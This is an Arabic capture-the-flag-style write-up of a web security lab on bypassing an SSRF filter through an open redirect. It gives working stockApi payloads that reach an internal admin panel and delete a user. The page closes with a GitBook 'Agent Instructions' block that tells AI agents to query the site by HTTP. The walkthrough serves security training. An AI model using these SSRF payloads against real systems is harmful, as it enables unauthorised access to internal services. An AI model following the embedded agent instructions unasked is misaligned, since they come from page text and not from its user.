> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/ssrf/ssrf-bypass-via-open-redirection.md).

# تجاوز SSRF عبر إعادة توجيه مفتوحة

### ثغرة SSRF مع تجاوز الفلتر عبر ثغرة إعادة التوجيه المفتوحة

يستخدم هذا المختبر ميزة التحقق من المخزون التي تسترجع البيانات من نظام داخلي. / الهدف هو تعديل عنوان URL المستخدم من قبل أداة فحص المخزون للوصول إلى واجهة الإدارة الموجودة على `HTTP://192.168.0.12:8080/admin`، ثم احذف المستخدم **carlos**.

تسمح عوامل التصفية على جانب الخادم فقط بعناوين URL الداخلية للتطبيق، مما يتطلب استغلال ثغرة إعادة توجيه مفتوحة.

#### التحليل

المعلمة التي نتحكم بها هي:

```javascript
stockApi=/product/stock/check?productId=1%26storeId=1
```

إذا حاولنا مباشرةً:

```javascript
stockApi=http://192.168.0.12:8080/admin
```

يرجع الخادم `عنوان URL غير صالح لفحص المخزون الخارجي 'عنوان URL غير صالح'`: يتم حظر الطلبات الخارجية.

<figure><img src="/files/c579c6693b8bcf0c22272ddb7551e4c2c3176e4c" alt=""><figcaption></figcaption></figure>

ومع ذلك، يحتوي التطبيق على **nextProduct** ميزة، وهي عرضة لإعادة التوجيه المفتوحة عبر `المسار` المعلمة:

{% code overflow="wrap" %}

```
https://0adc006f044883d082847e1d00a500b3.web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2
```

{% endcode %}

<figure><img src="/files/33c2ad13216844c5ed5c1c9c844d4ccb8114ca3e" alt=""><figcaption></figcaption></figure>

تجبر هذه الميزة الخادم على اتباع أي عنوان URL تتم إعادة التوجيه إليه.

#### الاستغلال

لذلك يُستخدم مُعيد التوجيه الداخلي كوسيط إلى النظام الداخلي:

```javascript
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin
```

<figure><img src="/files/593984cca18734383d9ba6222378ff011297cc2d" alt=""><figcaption></figcaption></figure>

بمجرد الحصول على الوصول إلى واجهة الإدارة عبر إعادة التوجيه هذه، يتم **carlos** حذف المستخدم:

{% code overflow="wrap" %}

```
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/ssrf/ssrf-bypass-via-open-redirection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
